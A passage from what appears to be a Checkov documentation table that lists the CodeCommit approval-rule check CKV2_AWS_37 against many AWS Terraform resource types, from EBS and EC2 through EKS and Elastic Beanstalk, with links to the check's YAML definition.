aws_ebs_snapshot_block_public_access                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1066 | CKV2_AWS_37     | resource | aws_ebs_snapshot_copy                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1067 | CKV2_AWS_37     | resource | aws_ebs_snapshot_import                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1068 | CKV2_AWS_37     | resource | aws_ebs_volume                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1069 | CKV2_AWS_37     | resource | aws_ec2_availability_zone_group                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1070 | CKV2_AWS_37     | resource | aws_ec2_capacity_block_reservation                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1071 | CKV2_AWS_37     | resource | aws_ec2_capacity_reservation                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1072 | CKV2_AWS_37     | resource | aws_ec2_carrier_gateway                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1073 | CKV2_AWS_37     | resource | aws_ec2_client_vpn_authorization_rule                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1074 | CKV2_AWS_37     | resource | aws_ec2_client_vpn_endpoint                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1075 | CKV2_AWS_37     | resource | aws_ec2_client_vpn_network_association                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1076 | CKV2_AWS_37     | resource | aws_ec2_client_vpn_route                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1077 | CKV2_AWS_37     | resource | aws_ec2_fleet                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1078 | CKV2_AWS_37     | resource | aws_ec2_host                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1079 | CKV2_AWS_37     | resource | aws_ec2_image_block_public_access                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1080 | CKV2_AWS_37     | resource | aws_ec2_instance_connect_endpoint                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1081 | CKV2_AWS_37     | resource | aws_ec2_instance_metadata_defaults                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1082 | CKV2_AWS_37     | resource | aws_ec2_instance_state                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1083 | CKV2_AWS_37     | resource | aws_ec2_local_gateway_route                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1084 | CKV2_AWS_37     | resource | aws_ec2_local_gateway_route_table_vpc_association                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1085 | CKV2_AWS_37     | resource | aws_ec2_managed_prefix_list                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1086 | CKV2_AWS_37     | resource | aws_ec2_managed_prefix_list_entry                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1087 | CKV2_AWS_37     | resource | aws_ec2_network_insights_analysis                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1088 | CKV2_AWS_37     | resource | aws_ec2_network_insights_path                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1089 | CKV2_AWS_37     | resource | aws_ec2_serial_console_access                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1090 | CKV2_AWS_37     | resource | aws_ec2_subnet_cidr_reservation                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1091 | CKV2_AWS_37     | resource | aws_ec2_tag                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1092 | CKV2_AWS_37     | resource | aws_ec2_traffic_mirror_filter                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1093 | CKV2_AWS_37     | resource | aws_ec2_traffic_mirror_filter_rule                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1094 | CKV2_AWS_37     | resource | aws_ec2_traffic_mirror_session                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1095 | CKV2_AWS_37     | resource | aws_ec2_traffic_mirror_target                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1096 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1097 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_connect                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1098 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_connect_peer                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1099 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_default_route_table_association          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1100 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_default_route_table_propagation          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1101 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_multicast_domain                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1102 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_multicast_domain_association             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1103 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_multicast_group_member                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1104 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_multicast_group_source                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1105 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_peering_attachment                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1106 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_peering_attachment_accepter              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1107 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_policy_table                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1108 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_policy_table_association                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1109 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_prefix_list_reference                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1110 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_route                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1111 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_route_table                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1112 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_route_table_association                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1113 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_route_table_propagation                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1114 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_vpc_attachment                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1115 | CKV2_AWS_37     | resource | aws_ec2_transit_gateway_vpc_attachment_accepter                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1116 | CKV2_AWS_37     | resource | aws_ecr_account_setting                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1117 | CKV2_AWS_37     | resource | aws_ecr_lifecycle_policy                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1118 | CKV2_AWS_37     | resource | aws_ecr_pull_through_cache_rule                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1119 | CKV2_AWS_37     | resource | aws_ecr_registry_policy                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1120 | CKV2_AWS_37     | resource | aws_ecr_registry_scanning_configuration                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1121 | CKV2_AWS_37     | resource | aws_ecr_replication_configuration                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1122 | CKV2_AWS_37     | resource | aws_ecr_repository                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1123 | CKV2_AWS_37     | resource | aws_ecr_repository_creation_template                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1124 | CKV2_AWS_37     | resource | aws_ecr_repository_policy                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1125 | CKV2_AWS_37     | resource | aws_ecrpublic_repository                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1126 | CKV2_AWS_37     | resource | aws_ecrpublic_repository_policy                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1127 | CKV2_AWS_37     | resource | aws_ecs_account_setting_default                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1128 | CKV2_AWS_37     | resource | aws_ecs_capacity_provider                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1129 | CKV2_AWS_37     | resource | aws_ecs_cluster                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1130 | CKV2_AWS_37     | resource | aws_ecs_cluster_capacity_providers                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1131 | CKV2_AWS_37     | resource | aws_ecs_service                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1132 | CKV2_AWS_37     | resource | aws_ecs_tag                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1133 | CKV2_AWS_37     | resource | aws_ecs_task_definition                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1134 | CKV2_AWS_37     | resource | aws_ecs_task_set                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1135 | CKV2_AWS_37     | resource | aws_efs_access_point                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1136 | CKV2_AWS_37     | resource | aws_efs_backup_policy                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1137 | CKV2_AWS_37     | resource | aws_efs_file_system                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1138 | CKV2_AWS_37     | resource | aws_efs_file_system_policy                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1139 | CKV2_AWS_37     | resource | aws_efs_mount_target                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1140 | CKV2_AWS_37     | resource | aws_efs_replication_configuration                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1141 | CKV2_AWS_37     | resource | aws_egress_only_internet_gateway                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1142 | CKV2_AWS_37     | resource | aws_eip                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1143 | CKV2_AWS_37     | resource | aws_eip_association                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1144 | CKV2_AWS_37     | resource | aws_eip_domain_name                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1145 | CKV2_AWS_37     | resource | aws_eks_access_entry                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1146 | CKV2_AWS_37     | resource | aws_eks_access_policy_association                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1147 | CKV2_AWS_37     | resource | aws_eks_addon                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1148 | CKV2_AWS_37     | resource | aws_eks_cluster                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1149 | CKV2_AWS_37     | resource | aws_eks_fargate_profile                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1150 | CKV2_AWS_37     | resource | aws_eks_identity_provider_config                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1151 | CKV2_AWS_37     | resource | aws_eks_node_group                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1152 | CKV2_AWS_37     | resource | aws_eks_pod_identity_association                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1153 | CKV2_AWS_37     | resource | aws_elastic_beanstalk_application                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1154 | CKV2_AWS_37     | resource | aws_elastic_beanstalk_application_version                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1155 | CKV2_AWS_37     | resource | aws_elastic_beanstalk_configuration_template                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1156 | CKV2_AWS_37     | resource | aws_elastic_beanstalk_environment                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         